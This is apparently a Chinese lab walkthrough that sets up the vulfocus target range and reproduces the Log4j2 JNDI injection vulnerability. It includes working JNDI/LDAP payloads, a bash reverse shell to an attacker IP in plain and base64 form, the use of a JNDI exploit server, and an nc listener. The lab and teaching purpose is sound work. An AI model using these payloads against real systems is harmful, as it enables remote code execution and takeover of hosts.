本地搭建vulfocus靶场&复现log4j2漏洞

搭建vulfocus靶场

环境用的是linux下的centos

1.首先需要在centos中安装docker环境
curl -sSL https://get.daocloud.io/docker | sh

2.开启docker:
systemctl start docker

3.下载vulfocus镜像
docker pull vulfocus/vulfocus:latest

4.映射到centos中
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP= vulfocus/vulfocus(80:80前面为真机端口,后面是虚机端口,IP地址为虚机地址用于访问靶场)

5.完成后访问centos的ip即可
本地搭建vulfocus靶场&复现log4j2漏洞_第1张图片

复现log4j2漏洞

打开漏洞环境访问
本地搭建vulfocus靶场&复现log4j2漏洞_第2张图片

log4j2漏洞原理

log4j2会将用户输入的信息自动记录到日志中
当用户输入正常的字符串时,log4j2会正常的记录
本地搭建vulfocus靶场&复现log4j2漏洞_第3张图片

当用户输入${java:os}等时,写入到日志文件后,检测到${xxx:xxx},log4j就会通过uplook函数去执行${}中对应的接口
本地搭建vulfocus靶场&复现log4j2漏洞_第4张图片
1.此时如果黑客输入类似${jndi:ldap:192.168.42.132:1099/shell}时,此条命令写入日志后,log4j中的lookup方法就会去解析括号里面的内容,去执行${}中的jndi接口的ldap协议,然后去访问192.168.42.132:1099找到idap服务对应的shell资源。

2.当没有找到时就会去http服务寻找,在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,实现远程代码执行

3.黑客可在.class文件中写入shell,从而反弹

复现

打开环境后这里可以看到hello后面跟的payload参数

本地搭建vulfocus靶场&复现log4j2漏洞_第5张图片
漏洞验证,我们打开dnslog,并通过burp抓包进行测试
payload:${jndi:ldap://06k1aw.dnslog.cn} ,idap后面跟的是dnslog的网址,注意此处需要url编码否则返回400

解释:log4j将用户输入的${jndi:ldap://06k1aw.dnslog.cn}写入日志,日志发现有${}则对里面的内容进行解析,去执行jndi接口,然后通过jndi中的ldap服务的执行,去访问对应的网址

本地搭建vulfocus靶场&复现log4j2漏洞_第6张图片
发送数据包后,刷新dnslog页面,发现受到了访问,确实执行了ldap服务去访问dnslog的页面

本地搭建vulfocus靶场&复现log4j2漏洞_第7张图片

验证成功后,接下来就可以复现了

构造反弹shell的payload:

bash -i >& /dev/tcp/192.168.42.132/1234 0>&1,此处ip为接收shell攻击机的ip,端口为监听的端口

由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

本地搭建vulfocus靶场&复现log4j2漏洞_第8张图片
在攻击机上搭建JNDI服务,工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
github上一搜就有

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"

通过工具生成jdni服务网址,当受害机通过jdnildap协议去访问这些网址时,没有找到ldap对应的资源时就会通过http协议去访问,然后将资源返回给log4jlog4j发现资源是一个.class文件就会把他下载下来,并执行

此时下载下来的.class文件中的内容是我们写好的反弹shell的命令就会去反向连接我们的攻击机

本地搭建vulfocus靶场&复现log4j2漏洞_第9张图片
攻击机这边通过nc监听本地的端口

本地搭建vulfocus靶场&复现log4j2漏洞_第10张图片

burp这边抓包payload替换使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar生成的网址

本地搭建vulfocus靶场&复现log4j2漏洞_第11张图片
同样进行url编码后发送

本地搭建vulfocus靶场&复现log4j2漏洞_第12张图片
本地搭建vulfocus靶场&复现log4j2漏洞_第13张图片JDNI服务这边也显示收到了访问

本地搭建vulfocus靶场&复现log4j2漏洞_第14张图片攻击机这边已经成功获取受害主机的shell

本地搭建vulfocus靶场&复现log4j2漏洞_第15张图片

复现结束

你可能感兴趣的:(渗透笔记2,log4j)